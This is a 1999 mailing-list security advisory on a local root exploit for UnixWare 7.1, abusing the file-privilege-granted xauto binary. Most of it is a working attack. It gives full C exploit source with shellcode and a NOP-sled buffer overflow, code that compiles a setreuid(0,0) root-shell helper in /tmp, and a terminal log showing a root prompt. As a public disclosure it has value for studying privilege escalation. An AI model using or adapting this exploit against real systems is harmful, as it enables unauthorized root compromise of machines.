UnixWare gain root with non-su/gid binaries

From: Brock Tellier (btellierat_private)
Date: Fri Dec 03 1999 - 17:21:27 PST

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    Greetings,

OVERVIEW
Although UnixWare's /usr/X/bin/xauto is NOT suid/sgid, we can still overflow a
buffer within it and gain root privileges.

BACKGROUND
Only tested UnixWare 7.1, all other UnixWares should be assumed vulnerable.

DETAILS
xauto is mode 755, root/sys and yet we can still use a buffer overflow attack
to gain root privileges.  This is due to (see my UnixWare privileges
discussion in my uidadmin advisory) xauto gaining the "setuid" privilege in
/etc/security/tcb/privs as shown:

bash-2.02$ cat /etc/security/tcb/privs | grep xauto
39968:3056:939894567:%fixed,setuid,dacread:/usr/X/bin/xauto

The setuid privilege, as you might imagine, allows the program to setuid() any
way it wants.  Therefore we must either have setreuid(0,0); in our shellcode
or exec a program that calls this for us.  

EXPLOIT

bash-2.02$ ls -la /usr/X/bin/xauto
-rwxr-xr-x    1 root     sys           39968 Apr  3  1998 /usr/X/bin/xauto
bash-2.02$ cat /etc/security/tcb/privs | grep xauto
39968:3056:939894567:%fixed,setuid,dacread:/usr/X/bin/xauto
bash-2.02$ ./uwxauto
UnixWare 7.x exploit for the non-su/gid /usr/X/bin/xauto
Brock Tellier btellierat_private
Using offset/addr: 9400/0x8047b08
# 

--- uwxauto.c ---
/**
 ** UnixWare 7.1 root exploit for xauto
 ** Note that xauto is NOT suid or sgid but gains it's privs from
 ** /etc/security/tcb/privs.  For more info, consult intro(2) 
 ** and fileprivs(1)
 ** 
 **
 ** Brock Tellier btellierat_private
 **/ 


#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* UnixWare 7.1 shellcode runs /tmp/ui */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

                       
#define EGGLEN 2048
#define RETLEN 5000
#define ALIGN 0
#define NOP 0x90
#define CODE "void main() { setreuid(0,0); system(\"/bin/sh\"); }\n"

void buildui() {
  FILE *fp;
  char cc[100];

  fp = fopen("/tmp/ui.c", "w");
  fprintf(fp, CODE);
  fclose(fp);
  snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
  system(cc);

}

int main(int argc, char *argv[]) {
  
  long int offset=0;
  
  int i;
  int egglen = EGGLEN;
  int retlen;
  long int addr;
  char egg[EGGLEN];
  char ret[RETLEN];
  // who needs __asm__?  Per Solar Designer's suggestion
  unsigned long sp = (unsigned long)&sp; 

  buildui();
  if(argc > 3) {
    fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
    exit(0); 
  }
  else if (argc == 2){
    offset=atoi(argv[1]);
    retlen=RETLEN;
  }
  else if (argc == 3) {
    offset=atoi(argv[1]);
    retlen=atoi(argv[2]); 
  }
  else {
    offset=9400;
    retlen=2000;
    
  }
  addr=sp + offset;
  
  fprintf(stderr, "UnixWare 7.x exploit for the non-su/gid
/usr/X/bin/xauto\n");
  fprintf(stderr, "Brock Tellier btellierat_private\n");
  fprintf(stderr, "Using offset/addr: %d/0x%x\n", offset,addr);
  
  memset(egg,NOP,egglen);
  memcpy(egg+(egglen - strlen(scoshell) - 1),scoshell,strlen(scoshell));
  
  for(i=ALIGN;i< retlen-4;i+=4)
    *(int *)&ret[i]=addr;  
  
  memcpy(egg, "EGG=", 4);
  putenv(egg);

  execl("/usr/X/bin/xauto", "xauto","-t", ret, NULL); 
  
}

------

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellierat_private

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